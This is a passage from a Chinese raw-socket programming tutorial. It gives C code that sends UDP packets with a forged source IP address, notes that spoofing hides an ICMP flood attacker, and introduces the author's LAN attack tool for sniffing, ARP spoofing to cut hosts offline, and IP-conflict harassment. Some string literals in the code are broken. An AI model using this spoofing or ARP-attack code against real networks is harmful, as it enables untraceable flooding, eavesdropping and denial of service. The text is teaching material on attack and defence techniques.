由于使用Raw Socket的时候,IP报头可完全由程序员自定义,所以我们可以任意地修改本地发送包的IP地址,使得接收方错误的认为IP报文是由欺骗地址发出的。
下面的程序演示了向某目标发送IP地址伪装的UDP报文的过程:
void sendPesuoIpUDP(void) {
WSADATA wsd;
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
printf(\ return; }
SOCKET s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0,WSA_FLAG_OVERLAPPED); // Create a raw socket if (s == INVALID_SOCKET) {
printf(\ return - 1; }
BOOL bOpt = TRUE;
int ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*) &bOpt, sizeof(bOpt)); // 使用IP_HDRINCL if (ret == SOCKET_ERROR) {
printf(\ return - 1; }
const int BUFFER_SIZE = 80; char buffer[BUFFER_SIZE];
const char *strMessage = \
// Set IP header IP_HDR ipHdr; UDP_HDR udpHdr;
const unsigned short iIPSize = sizeof(ipHdr) / sizeof(unsigned long); const unsigned short iIPVersion = 4; ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize; ipHdr.ip_tos = 0; // IP type of service
const unsigned short iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + strlen(strMessage);
ipHdr.ip_totallength = htons(iTotalSize); // Total packet len ipHdr.ip_id = 0; // Unique identifier: set to 0 ipHdr.ip_offset = 0; // Fragment offset field ipHdr.ip_ttl = 128; // Time to live
ipHdr.ip_protocol = 0x11; // Protocol(UDP) ipHdr.ip_checksum = 0; // IP checksum
const char *target_ip_address = \ const char *treat_ip_address = \
ipHdr.ip_destaddr = inet_addr(target_ip_address); // 接收方IP地址 ipHdr.ip_srcaddr = inet_addr(treat_ip_address); // 发送方伪造的IP地址
// Set UDP header
const u_short uToPort = 8000;
udpHdr.dst_portno = htons(uToPort); // 接收方端口
const u_short uFromPort = 1000;
udpHdr.src_portno = htons(uFromPort); // 发送伪造的端口
const unsigned short iUdpSize = sizeof(udpHdr) + strlen(strMessage); udpHdr.udp_length = htons(iUdpSize); udpHdr.udp_checksum = 0;
// 组建待发送的UDP报文
ZeroMemory(buffer, BUFFER_SIZE); char *ptr = buffer;
memcpy(ptr, &ipHdr, sizeof(ipHdr));
ptr += sizeof(ipHdr);
memcpy(ptr, &udpHdr, sizeof(udpHdr));
ptr += sizeof(udpHdr);
memcpy(ptr, strMessage, strlen(strMessage));
// Apparently, this SOCKADDR_IN structure makes no difference.
// Whatever we put as the destination IP addr in the IP header is what goes. // Specifying a different destination in remote will be ignored.
sockaddr_in remote;
remote.sin_family = AF_INET; remote.sin_port = htons(8000);
remote.sin_addr.s_addr = inet_addr(\
printf(\
ret = sendto(s, buffer, iTotalSize, 0, (SOCKADDR*) &remote, sizeof(remote)); // 发送伪造的报文
if (ret == SOCKET_ERROR) {
printf(\ } else
printf(\
closesocket(s); WSACleanup(); return; }
如果我们在第4节描述的ICMP FLOOD攻击中伪造IP地址,则对方将无法检测出究竟是谁在对其进行攻击,实际上,这也是一种非常常用的黑客攻击中隐藏自身的途径。
原始套接字透析之综合实例:网络黑手
为了给本系列文章一个具体的实例,笔者编写了\网络黑手\这样一个免费软件。它是一种融合了目前许多类似工具软件功能的具有超强攻击/侦听能力的流氓软件,并可能将成为又一个臭名昭著的破坏性工具,它的功能包括:
1. 检测本地网络适配器列表并选择一个工作适配器;
2. 检测局域网内指定IP范围内所有节点的IP地址、MAC地址信息,并列表显示;
3. 监听局域网上某节点的所有收发信息;
4. 剪断局域网上某机器与网关的联络,从而让其不能上网;
5. 不停向局域网内某台主机发送ARP报文,让其不断提示\冲突\,烦恼不已。
如果你所在的局域网内有人使用此软件攻击你的计算机,你将变得痛苦不堪。所以,笔者不得不声明的是编写本软件的目的不在于要荼毒生灵、贻害人间,而仅仅是为了本系列教程教学和广大读者掌握黑客攻防技术的需要。任何个人或组织使用本软件进行破坏行为,都应受到道德的谴责或可能的法律制裁。
尽管如此,为了防范于未然,笔者在研制\网络黑手\这一毒药的同时,也精心研制了其相应的解药――\网络黑手终结者\,这一软件也是免费的。在你的网络内,如果有谁使用了\网络黑手\,你将可以用\网络黑手终结者\直接终结之!
点击此处下载网络黑手;
网络黑手程序的运行最好先安装winpcap,请在此地址下载:http://www.winpcap.org/。
1、网络黑手的实现
网络黑手0.1版(限于时间的原因,在本教程中我们给出的仅仅是一个教学版本,所以版本号仅为0.1),其界面如下:
界面的左上角用于设置监控的目标范围(IP地址,如192.168.1.1~192.168.1.254,只能输入与本机处于同一子网的IP地址)、选择本地网卡(对于安装了多块网卡的用户),按钮\开始\用于启动监控和其他操作,启动成功后\开始\按钮会变为\停止\。
界面的左下角列出活动的与本机处于同一子网机器的主机名、IP地址、MAC地址,在相应的主机上双击\和\欺骗\项目可以启动和停止对该主机的嗅探和ARP欺骗(会切断该机的外网出口)。
与之对应的数据结构为:
typedef struct tagHostList {
unsigned long ip; char mac[6]; bool sniffer; bool arpCheat; bool ipConflict; } HostList;
界面的右边即为监控到报文的源IP地址、目的IP地址、协议、源端口号、目的端口号以及报文的长度,而表格的最后一行将对应显示相关IP报文的数据。为了简化软件的设计和减少程序对内存的占用,在Sniffer时,实际缓存的数据包MAX_PACKET最大为30,超过的会自动被覆盖。
与之对应的数据结构为:
typedef struct tagPacketList {
unsigned long srcIp; unsigned long desIp; unsigned char protocol; unsigned long srcPort; unsigned long desPort; unsigned long len; char data[256]; }PacketList;
我们需要在对话框的初始化函数中构造上述界面中的表格项目,相关源代码如下:
BOOL CNetHackerDlg::OnInitDialog() {
CDialog::OnInitDialog();
// IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) {
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) {
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } }
// Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here int i=0; //…
m_hostList.Create(CRect(12,115,435,466),this, 1000,WS_BORDER |WS_VISIBLE |WS_VSCROLL|WS_CHILD);
m_hostList.SetScrollRange(1,0,351);
m_hostList.EnableScrollBar(ESB_ENABLE_BOTH);
m_hostList.SetCols (5); m_hostList.SetRows (256); for (i = 0; i < 256; i ++) {
m_hostList.SetRowHeight (i, 13); for(int j =0;j<5;j++) {
m_hostList.SetAlignment(i,j,DT_CENTER);